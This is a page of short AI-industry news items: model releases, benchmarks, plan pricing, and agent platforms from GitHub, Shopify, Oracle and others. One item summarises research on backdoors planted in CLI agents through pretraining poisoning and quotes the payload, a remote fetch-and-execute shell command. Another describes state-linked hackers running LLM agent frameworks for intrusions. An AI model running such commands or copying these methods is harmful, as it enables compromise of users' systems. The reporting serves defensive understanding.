AI Coding Live News

Meituan ships LongCat-2.5, a 1.6T-parameter (about 48B active) native multimodal agentic model, with API pricing of $0.30/$1.20 per 1M tokens

On Nov 2 Meituan's LongCat team listed LongCat-2.5 in its API platform change log as the full release of September 25's LongCat-2.5-Preview. The official technical blog says it has 1.6 trillion total parameters with about 48 billion activated per token, builds on LongCat-2.0 with stronger native visual understanding and agentic coding, and was trained and served with W4A4 inference on domestic AI accelerators. Vendor-reported scores include 88.4 on Terminal Bench v2.1, 38.5 on Terminal Bench v4.0, 91.9 on BrowseComp and 83.1 on MCP Atlas. The API speaks both OpenAI and Anthropic formats with a 1M-token context and up to 128K output tokens, at a limited-time price of $0.30 per 1M uncached input tokens, $0.006 cached input and $1.20 output.

Meituan ships LongCat-2.5, a 1.6T-parameter (about 48B active) native multimodal agentic model, with API pricing of $0.30/$1.20 per 1M tokens

Key Takeaways

  • Scale: a 1.6-trillion-parameter MoE with about 48B active per token, a 1M-token context and up to 128K output tokens (official blog, API docs)
  • Code agents (vendor-reported): Terminal Bench v2.1 88.4 (Claude Opus 5 89.1, GPT-5.6-Sol 88.8), Terminal Bench v4.0 38.5 (GPT-5.6-Sol 37.3, Claude Opus 5 53.9), DeepSWE v1.1 64.6
  • General agents (vendor-reported): BrowseComp 91.9, MCP Atlas 83.1, AutomationBench v1.0.6 51.8, HLE with tools 63.1; AutomationBench jumps from 15.8 on LongCat-2.0
  • Pricing: limited-time $0.30 per 1M uncached input tokens, $0.006 cached input and $1.20 output (pricing page)
  • Engineering: W4A4 inference raises prefill throughput 43.3% and decode throughput 42.77% over a W8A8 baseline; FSDP gives 86% higher per-device throughput than DDP in long-sequence SFT
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SemiAnalysis releases GDPx, an agentic benchmark of 206 tasks across 11 high-value domains where the top model, Claude Opus 5.5, scores just 12%

On Nov 2, semiconductor and AI research firm SemiAnalysis released GDPx, a benchmark of agentic capability across 11 domains: chip design, cybersecurity, biology, finance, legal, quant trading, recursive self-improvement (RSI), hardware design, materials science, alignment and software engineering. Its 206 tasks were built by 14 specialist data partners, with SemiAnalysis doing final QA. On the official leaderboard Claude Opus 5.5 leads at 12.0%, followed by Gemini 4 Carbon at 10.9% and GPT-6 Astra at 9.6%; nearly every model scores 0 on finance and legal. SemiAnalysis says safety classifiers drag down Opus 5.5 and GPT-6 Astra, and plans a new version every 3–6 months. All scores are as reported by SemiAnalysis.

SemiAnalysis releases GDPx, an agentic benchmark of 206 tasks across 11 high-value domains where the top model, Claude Opus 5.5, scores just 12%

Key Takeaways

  • Scale: 11 domains, 14 data partners and 206 tasks, with a default time limit of 8 hours per task (GDPx site)
  • Leaderboard (as reported by SemiAnalysis): Claude Opus 5.5 12.0%, Gemini 4 Carbon 10.9%, GPT-6 Astra 9.6%, Muse Wonder Full 9.0%, Claude Fable 5.1 8.5%, GPT 6.1 Sol 8.4%, Claude Sonnet 5.5 8.2%
  • Lower tier and open weights: DeepSeek 4.1 Flash 1017 5.4%, GPT-6 Luna 5.1%, Grok 4.7 3.9%, GLM 5.3 2.7%; almost every model scores 0 on finance and legal
  • Method: each model runs in its native harness where one exists (Claude Code for Opus, Codex for Astra, Antigravity for Carbon), otherwise OpenCode; the headline is pass@1 over three attempts with all domains weighted equally (SemiAnalysis blog)
  • By domain: Opus 5.5 wins quant trading, hardware and chip design; Gemini 4 Carbon wins biology and software engineering; GPT-6 Astra wins RSI and materials science; Muse Wonder Full is the strongest cyber model
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Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
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Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
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SenseTime open-sources SenseNova-Loop-9B-Preview, a 9B looped Transformer with about 14.6B inference parameters for long-context and agentic work

On Oct 30, SenseTime released SenseNova-Loop-9B-Preview (Apache 2.0) on its official X account and Hugging Face. It runs layers 4 to 27 of a 32-layer decoder twice with the same weights, so each forward pass executes 56 layer computations while storing about 9B parameters, about 14.6B at inference, and it uses two-stream mHC (manifold-constrained hyper-connections) to manage the residual streams. It takes text and images, with training sequences up to 262,144 tokens. SenseTime charts show it beating Qwen3.5 and Qwen3.6 peers on BIRD-Dev, WorkBuddy Bench, and other agent and data tasks, while it still trails on Terminal Bench 2.1; the technical report is not out yet. The official launch post drew about 910 likes.

SenseTime open-sources SenseNova-Loop-9B-Preview, a 9B looped Transformer with about 14.6B inference parameters for long-context and agentic work

Key Takeaways

  • Structure: 32 distinct decoder layers, with layers 4 to 27 looped twice on shared weights for 56 layer computations per forward pass; about 9B stored and about 14.6B inference parameters (model card)
  • Vendor-reported scores: BIRD-Dev 71.38 (Qwen3.5-27B 69.84), WorkBuddy Bench 66.89 (Qwen3.6-35B-A3B 61.98), AutomationBench 13.72 (Qwen3.5-27B 10.17)
  • Weak spots from the same vendor chart: Terminal Bench 2.1 at 40.45, below Qwen3.6-27B at 47.19; tau3-Banking at 18.56, slightly below Qwen3.5-27B at 19.59
  • Training context up to 262,144 tokens; hybrid attention uses three linear-attention layers plus one full-attention layer per four-layer group; MTP speedup is available, DSpark and DFlash2 are still training
  • Apache 2.0, requires trust_remote_code=True; official examples cover Transformers 5.18.0, a 4-GPU LightLLM setup, and an SGLang PR, and the technical report is still to come
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Linked Models & Agents:
⚡ SenseNova-Loop-9B-Preview⚡ Qwen3.5-27B⚡ Qwen3.6-35B-A3B🌐 SenseTime
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OpenAIhelp.openai.com·
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OpenAI will pool ChatGPT and Codex into one token-based usage allowance starting in December for Plus, Pro, and Business; Instant chat is excluded

On Oct 31, OpenAI's Help Center added a page titled "Understanding ChatGPT and Codex usage limits": starting in December, the usage allowance on Plus, Pro, and Business plans will be shared across ChatGPT and Codex as OpenAI brings the agentic capabilities of Work into the main ChatGPT experience. Usage will be measured in tokens, so stronger models and more complex tasks use more; Instant chat will not draw from the allowance. Users will see combined remaining usage and reset times in Settings > Usage, and can wait for a reset, upgrade, or buy credits when they run out. OpenAI says it expects most users will not need to wait for resets more often than they do now, but it has not given an exact start date or per-plan allowances. The news drew strong concern from Plus users on X.

Key Takeaways

  • Timing: takes effect in December, exact date not announced; covers Plus, Pro, and Business plans (OpenAI Help Center)
  • Metering: everything is measured in tokens and Instant chat is excluded; the Business pricing page now also notes that plan usage will have a shared limit across ChatGPT and Codex starting in December (Business pricing)
  • Today's baseline: only Work and Codex share an allowance now; Plus is estimated at 5-45 local messages per 5 hours on GPT-6 Astra, 15-160 on GPT-6.1 Sol, and 350-3,000 on GPT-6 Luna (official estimates, help article)
  • Pro 100/200/500 currently have no 5-hour limit in Work and Codex; per-plan allowances after the merge have not been published
  • OpenAI's position: most users should not wait for resets more often than today; when out, wait, upgrade, or buy credits
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CrowdStrike: China-nexus VAPOR PANDA used the ARTEX multi-agent framework, mainly on DeepSeek, against 200+ organizations in 11 days

CrowdStrike reported on Oct 29 that the China-nexus espionage group VAPOR PANDA, starting Oct 17, ran the open-source agentic intrusion framework ARTEX with DeepSeek plus a second, unconfirmed commercial LLM, hitting more than 200 organizations in at least 14 countries from a single controller over 11 days. Post-exploitation was confirmed at nine organizations, where the BLOODALCHEMY backdoor was deployed. Planning agents used about 1.4 billion input tokens in a single intrusion, and recovered transcripts show a human operator steering the agents in Chinese at key decision points.

Key Takeaways

  • Over 11 days from Oct 17, one ARTEX controller targeted 200+ organizations in at least 14 countries, including several foreign ministries, 19 US pharma, semiconductor, defense, nuclear and finance organizations, and telecoms in the US, Belgium and the Philippines (CrowdStrike report)
  • Post-exploitation was confirmed at 9 organizations, which received the BLOODALCHEMY backdoor; at least 12 more saw password spraying and credential scanning
  • DeepSeek was the main model, plus a subscription commercial LLM CrowdStrike could not confirm; planning agents used about 1.4 billion input tokens in one intrusion
  • Recovered transcripts show an operator issuing Chinese instructions tagged as human instructions, including an order to find Windows hosts without the Falcon sensor
  • CrowdStrike says this is separate from the Storm-0940 ARTEX activity reported by Microsoft, and judges China-nexus groups will highly likely keep adopting such agent frameworks over the next 12 months
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GitHub Octoverse 2026: agents start over 40% of pull requests, pushes hit 17.9 billion, and Copilot users tapped 47 models

On Oct 28 GitHub published its Octoverse 2026 report: developers pushed code 17.9 billion times in the past 12 months, more than 2024 and 2025 combined, with 34.3 billion commits and 1.3 billion merged pull requests (3.5 million a day). By September more than 40% of pull requests started with an agent draft, up from 17% in March; 55% of Copilot monthly active users use agentic features, and paid Copilot users used 47 distinct models in September.

GitHub Octoverse 2026: agents start over 40% of pull requests, pushes hit 17.9 billion, and Copilot users tapped 47 models

Key Takeaways

  • 17.9 billion pushes, 34.3 billion commits and 1.3 billion merged pull requests in the past 12 months, about 3.5 million merges a day (GitHub figures)
  • More than 40% of pull requests started with an agent draft by September 2026, up from 17% in March; that was 110 million in September alone, about 6x March
  • 55% of Copilot monthly active users now use agentic features, up from 35% a year ago, and Copilot cloud agent grew 230% year over year
  • Paid Copilot users used 29 distinct models in May and 47 in September, with no model above 25% of requests; 61% of users who pick models mix more than one
  • GitHub now serves more than 225 million developers; the US has 38.3 million and India 32 million, each adding over 10 million this year
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Alibaba Cloud opens a Netherlands region at its first international Apsara Conference, plans agentic AI services, and JetBrains explores Qwen for Junie

On Oct 29, Alibaba Cloud held its first international Apsara Conference in Amsterdam and launched its first public cloud region in the Netherlands, with two data centres, making it the company's fourth region in Europe. It plans to bring agentic AI services to the region, including ACS Agent Sandbox, Agent Security Center, AI Security Guardrails 2.0, Agentic SOC and STAROps, and unveiled a new generation of its Apsara Stack hybrid cloud. On the partner side, JetBrains is working with Alibaba Cloud to explore Qwen models for its Junie coding assistant, in both cloud and local setups.

Alibaba Cloud opens a Netherlands region at its first international Apsara Conference, plans agentic AI services, and JetBrains explores Qwen for Junie

Key Takeaways

  • The Netherlands region has 2 data centres and is Alibaba Cloud's 4th in Europe after Frankfurt, London and Paris; the global footprint is now 32 regions and 109 availability zones (company figures)
  • Five agentic AI services are planned for the region: ACS Agent Sandbox (hardware-level isolation), Agent Security Center, AI Security Guardrails 2.0, Agentic SOC and STAROps
  • The new Apsara Stack offers 80+ cloud and AI products; Alibaba says AI-driven operations reach 92.5% accuracy and a 70% automation rate
  • JetBrains is exploring Qwen models for Junie, running either in-region in the cloud or fully local; orq.ai, Monks, Magnific and Idea.ai also integrate Alibaba models
  • Over the next 12 months Alibaba plans its first region in Finland and more data centre capacity in Germany and France, as part of its previously announced US$53B AI and cloud investment
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Shopify Fall ’26 Edition bets on agentic commerce: Shop.md shopping skill, Shop.dev single connection, and Shop Pay inside Muse, Claude Duet, Grok Bot and other personal agents

On Oct 28 Shopify shipped its 10th Edition (Fall ’26, theme Exponential, 150+ updates including 57 for developers), centered on opening its catalog, cart and checkout to any agent. Shop.dev gives one connection to Shopify Catalog (1B+ products), sign-in with Shop, cart, checkout and Shop Pay; Shop.md is a customizable skill that turns ChatGPT, Claude or other agents into personal shoppers; Shop Pay now works inside Meta’s Muse, Claude Duet and Instinct, and Claude Duet, Grok Bot and Instinct can also use it for brands not on Shopify. Every Liquid and Hydrogen storefront and checkout now exposes WebMCP tools.

Shopify Fall ’26 Edition bets on agentic commerce: Shop.md shopping skill, Shop.dev single connection, and Shop Pay inside Muse, Claude Duet, Grok Bot and other personal agents

Key Takeaways

  • Scale (vendor figures): Shopify Catalog has 1B+ products and Shop Pay 400M+ shoppers; the Edition has 150+ updates, 57 of them for developers
  • Shop.dev is one connection for Catalog, sign-in with Shop, cart, checkout and Shop Pay; the underlying Shop MCP server is mcp.shop.com and search needs no API key
  • Shop Pay in personal agents starts with Muse from Meta, Claude Duet and Instinct; Claude Duet, Grok Bot and Instinct can also buy from brands off Shopify, with the card never shared with the agent and tokens from Mastercard, Visa and Discover (Amex coming)
  • WebMCP tools ship on every Liquid and Hydrogen storefront and checkout so browser agents can search, update the cart and check out after buyer approval
  • For developers: a one-command app security check in the Shopify CLI AI Toolkit, and a rebuilt Hydrogen plus the open-source Next.js Vercel Shop template are now generally available
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GitHub Agentic Workflows is generally available: write automation in Markdown, compile it to Actions YAML, run Copilot or your own coding agent, now with ARC self-hosting and micro-VM isolation

At Universe 2026 on Oct 28, GitHub made GitHub Agentic Workflows, an open source GitHub Next project, generally available on GitHub Free, Team and Enterprise. Developers describe tasks such as issue triage, CI failure analysis, documentation updates and test writing in natural-language Markdown, and gh aw compiles them into standard Actions YAML run by Copilot or a coding agent of their choice. GA adds self-hosted ARC runners with Docker-in-Docker, a non-experimental gh aw forecast cost estimate, per-workflow model providers and model routing, and Cloud Hypervisor or NVX micro-VM isolation.

GitHub Agentic Workflows is generally available: write automation in Markdown, compile it to Actions YAML, run Copilot or your own coding agent, now with ARC self-hosting and micro-VM isolation

Key Takeaways

  • Availability: GitHub Free, Team and Enterprise on github.com; using the default Copilot CLI engine requires a Copilot license
  • How it works: requirements in Markdown, compiled to standard Actions YAML that reuses existing runner groups and policies; run with Copilot or your own coding agent
  • Safe defaults: read-only permissions, a sandboxed container behind the Agent Workflow Firewall, safe-outputs validation, and a threat detection job before changes are applied
  • New at GA: self-hosted ARC runners with Docker-in-Docker, gh aw forecast out of experimental (with threat detection credits and monthly ranges), per-workflow model providers, model routing, micro-VM isolation and cross-repo enclaves
  • Customer story (Accenture's figures): one lead saved about 29 hours a week, AI authors 91% of the team's commits, and production errors fell from about 11,000 a day to under 1,000
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Shanghai AI Lab ships Atria Dawn full release: 744B MoE GLM-5.2 agentic model, context doubled to 512K, MIT weights

Shanghai AI Laboratory has moved Atria Dawn from Preview to a full release, with open weights (plus an FP8 build) on Hugging Face under internlm/Atria-Dawn and on ModelScope, MIT licensed. Built on the 744B-parameter MoE GLM-5.2, it targets long-horizon research and engineering agent work; context doubles from the Preview's 256K to 512K and input is text only. The vendor table shows it leading the listed models on AutomationBench, CyberGym and SkillsBench, while still trailing Claude Opus 5 on coding tests such as SWE-bench Pro and Terminal-Bench 2.1 (all vendor-reported).

Shanghai AI Lab ships Atria Dawn full release: 744B MoE GLM-5.2 agentic model, context doubled to 512K, MIT weights

Key Takeaways

  • 512K context, double the Preview's 256K; built on the 744B-parameter MoE GLM-5.2, text input only
  • BF16 and FP8 weights on Hugging Face and ModelScope, MIT license
  • Vendor-reported: AutomationBench 54.7, CyberGym 86.8, SkillsBench 67.8, BFCL V4 78.4, each the top score in its table
  • Weak spots from the same table: SWE-bench Pro 61.7 vs 76.5 for Claude Opus 5, Terminal-Bench 2.1 81.0 vs 90.2
  • Local serving needs SGLang v0.5.13.post1+ or vLLM v0.23.0+; an OpenAI-compatible API also plugs into Codex
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Cadence launches Maestro, a domain-specialized AI model portfolio for agentic chip and system design built in part on NVIDIA Nemotron, claiming up to 30% better results and 5x token efficiency

EDA leader Cadence announced the Maestro AI Model Portfolio on October 26: domain post-trained LLMs, trained decision models and self-improving agent skills that power its AuraStack, ChipStack, InnoStack and ViraStack AI Super Agents as they drive Cadence EDA and SDA tools. Cadence solvers score outputs against engineering constraints to close a reinforcement learning loop. Initial results per Cadence show up to 30% higher quality and up to 5x token efficiency versus a general-purpose foundation model. NVIDIA contributes Nemotron and OpenShell, and the stack runs on Cadence cloud, public cloud or on-premises. The first models reach select early access customers in Q4 2026.

Key Takeaways

  • Maestro is a portfolio, not one model: domain post-trained LLMs, decision models and self-improving agent skills, mixed with frontier and open-weight models per task
  • Deterministic solvers and EDA tools score outputs against engineering objectives and constraints, feeding a verified reinforcement learning loop
  • Per Cadence: up to 30% higher quality of results and up to 5x token efficiency versus a general-purpose foundation model; no third-party evaluation yet
  • NVIDIA supplies Nemotron models and the OpenShell sandbox reference architecture; customers can post-train on their own designs and run on-premises
  • First models go only to select early access customers in Q4 2026; Socionext expects up to 5x productivity from deploying InnoStack
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Oracle unveils the Fusion Claw runtime with 25 agentic apps at AI World, and Fusion Companion lets employees run ERP and HCM work from ChatGPT

At Oracle AI World in Las Vegas on Oct 26, Oracle announced Oracle Fusion Claw, a new execution runtime for agents, and 25 Claw-powered Agentic Applications now available across ERP, HCM, supply chain (SCM) and customer experience (CX). It also introduced Fusion Companion and Fusion Agentic Home: employees describe a goal in natural language in supported AI tools such as ChatGPT or in the native Fusion interface, and the system picks and coordinates the transactions, workflows, approvals and AI agents needed, within existing identity, permission and approval controls. Oracle has not published pricing, benchmarks or a detailed rollout schedule.

Oracle unveils the Fusion Claw runtime with 25 agentic apps at AI World, and Fusion Companion lets employees run ERP and HCM work from ChatGPT

Key Takeaways

  • Runtime: Fusion Claw is a new agent execution runtime that Oracle says supports larger-scale and longer-running work, continuous replanning, deterministic execution and governed autonomy (press release)
  • Scale: 25 Claw-powered Agentic Applications are available now across the ERP, HCM, SCM and CX suites, including Ledger, Workforce Orchestration, Payroll Activity Workspace and Procurement Spend
  • Access: Fusion Companion works through supported AI tools such as ChatGPT and customer- or partner-built interfaces, with Fusion Agentic Home as the native entry point (Fusion Companion release)
  • Governance: all execution stays within existing identity, permissions, policies and approval controls, and decisions needing human judgment are escalated
  • Not disclosed: Oracle has not published pricing, benchmarks or a per-app rollout schedule
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Springer Nature and Google DeepMind partner on an AI peer review assistant built on Gemini and the open-source ADK; a prototype is in testing and human reviewers keep final judgment

On Oct 26 Springer Nature, one of the world's largest research publishers, announced a research partnership with Google DeepMind to co-design an AI peer review assistant. It uses DeepMind's frontier Gemini models and builds on Google's earlier agentic research tools ScholarPeer and Deep Review to help reviewers navigate manuscripts, analyse large amounts of text, charts and figures, and flag areas that may need closer attention. The system is built with Google's open-source Agent Development Kit (ADK) and runs only inside Springer Nature's private Gemini Enterprise environment, so manuscript content stays in its secure environment. A prototype is being tested; the publisher stresses 'human first, AI second' and has not given a launch date or any performance data.

Springer Nature and Google DeepMind partner on an AI peer review assistant built on Gemini and the open-source ADK; a prototype is in testing and human reviewers keep final judgment

Key Takeaways

  • Partners: Springer Nature (publisher of the largest number of journals and books) and Google DeepMind, announced 2026-10-26 from London, Berlin and New York (press release)
  • Stack: frontier Gemini models plus Google's open-source Agent Development Kit (ADK), building on the ScholarPeer and Deep Review agentic research tools
  • Data isolation: runs only on Springer Nature's private Gemini Enterprise platform, keeping author and reviewer confidentiality
  • Status: prototype in testing; no launch date, journal coverage or accuracy figures have been published
  • Role: helps reviewers find areas needing attention, while final scientific judgment stays with human experts
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Anthropic donates the Agent Skills open standard to the Linux Foundation’s Agentic AI Foundation, after 70+ agent platforms adopted it with 1M skills published and nearly 280M installs

On 2026-10-22 Anthropic said it is donating Agent Skills, the open standard that teaches agents a task through a folder with a SKILL.md file, to the Agentic AI Foundation (AAIF) under the Linux Foundation, the same neutral home it gave MCP. The donation covers the Agent Skills name and logo, the GitHub organization and the agentskills.io domain. Anthropic says more than 70 agent platforms, including ChatGPT, Cursor, GitHub Copilot and VS Code, have integrated the standard since December 2025, with 1 million skills published and nearly 280 million installs. Engineers from Anthropic, Google, OpenAI and others will maintain it as individuals.

Anthropic donates the Agent Skills open standard to the Linux Foundation’s Agentic AI Foundation, after 70+ agent platforms adopted it with 1M skills published and nearly 280M installs

Key Takeaways

  • Official figure: 70+ agent platforms have integrated Agent Skills, including ChatGPT, Cursor, GitHub Copilot and VS Code
  • 1 million skills published and nearly 280 million installs so far (Anthropic figures)
  • Donated: the Agent Skills name and logo, the GitHub organization and the agentskills.io domain; you can keep using or contributing without joining AAIF
  • Lead Maintainers are David Soria Parra and Mahesh Murag, with engineers from Anthropic, Google, OpenAI and others maintaining it as individuals
  • Proposed first roadmap: versioned releases, a formal proposal process and security guidance for people who write and install skills
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